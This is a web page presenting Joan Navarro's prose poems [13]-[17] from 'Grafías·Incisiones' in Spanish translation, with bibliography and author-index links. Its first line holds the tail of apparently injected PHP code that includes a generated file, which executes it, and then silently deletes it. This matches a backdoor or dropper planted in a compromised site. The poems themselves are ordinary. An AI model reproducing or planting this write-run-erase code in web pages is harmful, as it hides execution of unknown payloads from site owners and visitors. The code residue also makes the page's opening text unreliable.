");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Grafías·Incisiones - Joan Navarro
Facebook Twitter

Grafies·Incisions

Joan Navarro
Grafías·Incisiones

[13]

Antes de que el insecto llegue al mundo del aire y baile la danza infinita y dibuje las frenéticas curvas del temblor: Antes de la fecundación de la orquídea: Antes del nacimiento de la miel: Llega: Pan de los ángeles: Negra constelación de la luz: Algodón de la flor: Llega.


[14]

Se estrechaba el tiempo y se ensanchaba: Se deshacía y condensaba: Frotaba la rueda la superficie de las horas: La rueda: El cálculo de la nada: Las series infinitas: El grano de maíz: La nostalgia de las cálidas aguas: La persistencia de la noche amniótica: Reptil: Archipiélago de líquenes.


[15]

Lente. Ojo. Brocal de oquedad. Gránulo de polen. Deseo de haber visto el bosque fulminado: Duración del ser protegida por la ausencia: Repetición y retorno: El bosque de laureles: La revelación de lo no es  visible: El abandono de la mirada que amasa las palabras: Las cenizas: La voz de tu cuerpo: El álgebra de los helechos.

[16]

A punta seca grabas el incendio de la gruta, el desgarro y la tundra, la sed y el manantial: El nombre del tiempo: Las incisiones del dolor: La urdimbre de la memoria. Con la gubia y el buril estrías la negra ascensión, la espuma hueca de la barca del naufragio: Madera, mármol y metal: Murmullo de la última plegaria.

[17]

Tendido sobre las piedras, vislumbro la forma del arco que se derrumba: Los collados del planeta silvestre: La corteza del pájaro y los fuegos efímeros de la frontera: El círculo de la carbonera: La carbonera: El instrumento del corazón: El lastón y el humo: La danza cóncava: Esta lentitud de las palabras:
Traducido por Octavi Monsonís
Joan Navarro, Grafías·Incisiones. València: Diálogo, 2010. [Amb el pintor Pere Salinas]
Joan Navarro, 2008. Foto: Markus Gudel
Comentarios sobre la obra
A deslloc (2010)
por Jordi Marrugat
Grafies· Incisions (2010)
por Miquel Martínez
Magrana (2004)
por Anna Montero
Fragmentos
Atlas
Català | English
El beso del beso
Català | Deutsch | Français
Grafías·Incisiones
Català | English | Français | Português
La paraula no és l’ésser
Català | Français | Português
Lluna de terra
Català | Italiano
Moira
Basc | Català | Français
Reseñas
Bibliografía
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: